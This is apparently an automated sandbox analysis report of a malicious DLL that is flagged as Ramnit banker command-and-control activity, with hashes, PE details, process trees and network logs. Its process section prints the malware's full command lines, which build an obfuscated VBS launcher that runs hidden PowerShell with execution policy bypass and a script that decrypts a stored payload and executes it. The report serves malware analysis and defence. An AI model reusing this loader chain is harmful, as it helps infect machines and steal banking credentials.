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File name:

stage.dll_

Full analysis: https://app.any.run/tasks/1cb0c714-7883-4206-b11c-c239a8776418
Verdict: Malicious activity
Analysis date: April 25, 2019, 16:21:46
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5:

11A03C34C0F45B3B9190751FF17F1594

SHA1:

96EA3A20BE95EB9A22B68AE4D9283AE9E8E93878

SHA256:

8BBE03724EA00DC2B8D6839EF89E14563FEFF6C0C637454F8AEDB6FEAB9DBA16

SSDEEP:

24576:6m6c2sHDAse0IDIMoJiMlRI+02VpFjIBrI1:itsMkjJZRnF0tI1

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads the Task Scheduler COM API

      • rundll32.exe (PID: 2680)

    • Connects to CnC server

      • ImagingDevices.exe (PID: 2716)

  • SUSPICIOUS

    • Creates files in the user directory

      • cmd.exe (PID: 3912)
      • cmd.exe (PID: 3032)
      • cmd.exe (PID: 3284)
      • powershell.exe (PID: 3724)

    • Executes PowerShell scripts

      • wscript.exe (PID: 3080)

    • Creates files in the program directory

      • ImagingDevices.exe (PID: 2716)

  • INFO

    • Loads main object executable

      • rundll32.exe (PID: 2680)

    • Reads CPU info

      • firefox.exe (PID: 3324)

    • Application launched itself

      • firefox.exe (PID: 3324)

    • Creates files in the user directory

      • firefox.exe (PID: 3324)

    • Adds / modifies Windows certificates

      • pingsender.exe (PID: 3288)
      • pingsender.exe (PID: 2288)

    • Changes settings of System certificates

      • pingsender.exe (PID: 3288)
      • pingsender.exe (PID: 2288)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (42.2)
.exe | Win64 Executable (generic) (37.3)
.dll | Win32 Dynamic Link Library (generic) (8.8)
.exe | Win32 Executable (generic) (6)
.exe | Generic Win/DOS Executable (2.7)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 5.1
ImageVersion: -
OSVersion: 5.1
EntryPoint: 0x1010
UninitializedDataSize: -
InitializedDataSize: 908800
CodeSize: 5632
LinkerVersion: 14
PEType: PE32
TimeStamp: 2019:02:06 12:52:29+01:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 06-Feb-2019 11:52:29
Detected languages:
  • English - United States

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000E0

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 06-Feb-2019 11:52:29
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_DLL
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x000015A4
0x00001600
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.39425
.rdata
0x00003000
0x0000098C
0x00000A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.63998
.data
0x00004000
0x000DCD4C
0x000DCC00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.48394
.rsrc
0x000E1000
0x000001E0
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.72473
.reloc
0x000E2000
0x00000230
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
4.31802

Resources

Title
Entropy
Size
Codepage
Language
Type
2
4.91161
381
UNKNOWN
English - United States
RT_MANIFEST

Imports

KERNEL32.dll
SHLWAPI.dll

Exports

Title
Ordinal
Address
getReadyFlag
1
0x00001000
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
55
Monitored processes
17
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start rundll32.exe no specs firefox.exe firefox.exe no specs firefox.exe firefox.exe firefox.exe cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs pingsender.exe pingsender.exe wscript.exe no specs powershell.exe no specs csc.exe cvtres.exe no specs imagingdevices.exe

Process information

PID
CMD
Path
Indicators
Parent process
2680"C:\Windows\System32\rundll32.exe" "C:\Users\admin\AppData\Local\Temp\stage.dll_.exe", getReadyFlagC:\Windows\System32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3324"C:\Program Files\Mozilla Firefox\firefox.exe" C:\Program Files\Mozilla Firefox\firefox.exe
explorer.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
0
Version:
65.0.2
1172"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3324.0.561162642\1705982507" -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - "C:\Users\admin\AppData\LocalLow\Mozilla\Temp-{ce348e4c-7d33-445e-89f9-60108c51bcaf}" 3324 "\\.\pipe\gecko-crash-server-pipe.3324" 1140 gpuC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
1
Version:
65.0.2
2216"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3324.6.891118953\2101905713" -childID 1 -isForBrowser -prefsHandle 1616 -prefMapHandle 908 -prefsLen 1 -prefMapSize 180950 -schedulerPrefs 0001,2 -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 3324 "\\.\pipe\gecko-crash-server-pipe.3324" 1592 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Exit code:
0
Version:
65.0.2
2544"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3324.13.892816589\1354665591" -childID 2 -isForBrowser -prefsHandle 2456 -prefMapHandle 2460 -prefsLen 216 -prefMapSize 180950 -schedulerPrefs 0001,2 -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 3324 "\\.\pipe\gecko-crash-server-pipe.3324" 2472 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Exit code:
0
Version:
65.0.2
3816"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3324.20.35919201\1074680582" -childID 3 -isForBrowser -prefsHandle 3388 -prefMapHandle 3396 -prefsLen 5824 -prefMapSize 180950 -schedulerPrefs 0001,2 -parentBuildID 20190225143501 -greomni "C:\Program Files\Mozilla Firefox\omni.ja" -appomni "C:\Program Files\Mozilla Firefox\browser\omni.ja" -appdir "C:\Program Files\Mozilla Firefox\browser" - 3324 "\\.\pipe\gecko-crash-server-pipe.3324" 3340 tabC:\Program Files\Mozilla Firefox\firefox.exe
firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
LOW
Description:
Firefox
Exit code:
0
Version:
65.0.2
3460cmd.exe /c md C:\Users\admin\AppData\Roaming\mfkrefftC:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3912cmd.exe /c echo "" > C:\Users\admin\AppData\Roaming\mfkrefft\xkcvomvs.txtC:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3032cmd.exe /c echo Dim vxJnWNE > C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo Set vxJnWNE = WScript.CreateObject("WScript.Shell") >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo SdpQzFY = vxJnWNE.Environment("PROCESS")("ProgramW6432") = "" >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo lyPLOiq = "" >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo uaCVfgB = "powers" >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo cYpLgCZ = "hell" >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo If SdpQzFY = 0 Then >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo FtBzPdy = vxJnWNE.ExpandEnvironmentStrings("%windir%") >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo lyPLOiq = FtBzPdy + "\SysWOW64\WindowsPowerShell\v1.0\" + uaCVfgB + cYpLgCZ + ".exe" >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo Else >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo lyPLOiq = uaCVfgB + CPNrJLN + cYpLgCZ >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo End If >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo vxJnWNE.Run lyPLOiq + " -WindowStyle Hidden -executionpolicy bypass -File C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1", 0, True >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbs && echo Set vxJnWNE = Nothing >> C:\Users\admin\AppData\Roaming\mfkrefft\crjxxcei.vbsC:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3284cmd.exe /c echo $eUvkTLk = "C:\Users\admin\AppData\Roaming\mfkrefft\xkcvomvs.txt"; > C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1 && echo $bYmnlUg = Get-Content $eUvkTLk -Encoding Byte -ReadCount 0; >> C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1 && echo Add-Type -AssemblyName System.Security >> C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1 && echo $lKMZfTA = [System.Security.Cryptography.ProtectedData]::Unprotect( >> C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1 && echo $bYmnlUg, >> C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1 && echo $null, >> C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1 && echo [System.Security.Cryptography.DataProtectionScope]::LocalMachine); >> C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1 && echo $OXzPvyj = [System.Text.Encoding]::ASCII.GetString($lKMZfTA); >> C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1 && echo Invoke-Expression $OXzPvyj >> C:\Users\admin\AppData\Roaming\mfkrefft\fqjlmhkk.ps1C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
777
Read events
680
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
72
Text files
64
Unknown types
41

Dropped files

PID
Process
Filename
Type
3324firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\startupCache\scriptCache-current.bin —
MD5:—
SHA256:—
3324firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cookies.sqlite-shm —
MD5:—
SHA256:—
3324firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs-1.js —
MD5:—
SHA256:—
3324firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\sessionCheckpoints.json.tmp —
MD5:—
SHA256:—
3324firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm —
MD5:—
SHA256:—
3324firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm —
MD5:—
SHA256:—
3324firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.jstext
MD5:C52C31E2D546FC217645CD7F542CF3E0
SHA256:73974F60357B038693803F51CA750E9ED609A3376548C88C117FA1FCBB328236
3324firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\cache2\entries\D821D520CC10102EE7C61B5DC8754996B1293079der
MD5:F6DE8C031BF52291C6E81843F04F6FFE
SHA256:636E788DA56740CEEE3988B276F0D6EBE1CE6A66DA2FDE47487DCD92CCB3B287
3324firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\startupCache\scriptCache-child-current.binbinary
MD5:82F61C08D68502377826CA7EA054CEA7
SHA256:85801BCE5D7CE3A2ABC14E3208151AC9D324A6EA82FB2ADA1D10BAA8EF58E7DF
3324firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\qldyz51w.default\safebrowsing-updating\block-flashsubdoc-digest256.sbstorebinary
MD5:04824A1F92353F43EBB9E7F74B7476FD
SHA256:B48E58EBAB82E4C376F16150A3FFF850C1111FF1F5985D68819CFD6F0DB159D2
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
28
DNS requests
155
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3324
firefox.exe
POST
200
93.184.220.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
3324
firefox.exe
POST
200
172.217.21.195:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3324
firefox.exe
POST
200
172.217.21.195:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3324
firefox.exe
POST
200
172.217.21.195:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3324
firefox.exe
POST
200
93.184.220.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
3324
firefox.exe
POST
200
172.217.21.195:80
http://ocsp.pki.goog/GTSGIAG3
US
der
471 b
whitelisted
3324
firefox.exe
POST
200
93.184.220.29:80
http://ocsp.digicert.com/
US
der
471 b
whitelisted
3324
firefox.exe
GET
200
2.16.186.112:80
http://detectportal.firefox.com/success.txt
unknown
text
8 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3324
firefox.exe
172.217.18.170:443
safebrowsing.googleapis.com
Google Inc.
US
whitelisted
3324
firefox.exe
35.164.218.3:443
tiles.services.mozilla.com
Amazon.com, Inc.
US
unknown
3324
firefox.exe
52.10.42.204:443
search.r53-2.services.mozilla.com
Amazon.com, Inc.
US
unknown
3324
firefox.exe
172.217.21.195:80
ocsp.pki.goog
Google Inc.
US
whitelisted
3324
firefox.exe
34.223.207.155:443
www.reddit.com
Amazon.com, Inc.
US
unknown
3324
firefox.exe
54.192.202.20:443
snippets.cdn.mozilla.net
Amazon.com, Inc.
US
unknown
3324
firefox.exe
2.16.186.112:80
detectportal.firefox.com
Akamai International B.V.
—
whitelisted
3324
firefox.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3324
firefox.exe
172.217.22.46:443
www.youtube.com
Google Inc.
US
whitelisted
3324
firefox.exe
172.217.16.132:443
www.google.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
detectportal.firefox.com
  • 2.16.186.112
  • 2.16.186.50
whitelisted
search.services.mozilla.com
  • 216.58.207.46
whitelisted
a1089.dscd.akamai.net
  • 2.16.186.50
  • 2.16.186.112
whitelisted
search.r53-2.services.mozilla.com
  • 54.200.51.65
  • 52.27.229.90
  • 52.10.42.204
whitelisted
tiles.services.mozilla.com
  • 35.164.218.3
  • 52.43.40.243
  • 35.166.92.58
  • 52.34.132.219
  • 52.26.103.165
  • 52.42.232.148
  • 52.35.250.5
  • 35.165.22.140
whitelisted
snippets.cdn.mozilla.net
  • 54.192.202.20
whitelisted
tiles.r53-2.services.mozilla.com
  • 35.165.22.140
  • 52.35.250.5
  • 52.42.232.148
  • 52.26.103.165
  • 52.34.132.219
  • 35.166.92.58
  • 52.43.40.243
  • 35.164.218.3
whitelisted
drcwo519tnci7.cloudfront.net
  • 54.192.202.20
shared
ocsp.digicert.com
  • 93.184.220.29
whitelisted
cs9.wac.phicdn.net
  • 93.184.220.29
whitelisted

Threats

PID
Process
Class
Message
2716
ImagingDevices.exe
A Network Trojan was detected
MALWARE [PTsecurity] Banker Ramnit CnC Connection
2716
ImagingDevices.exe
A Network Trojan was detected
MALWARE [PTsecurity] Banker Ramnit CnC Connection
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
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Reports
stage.dll_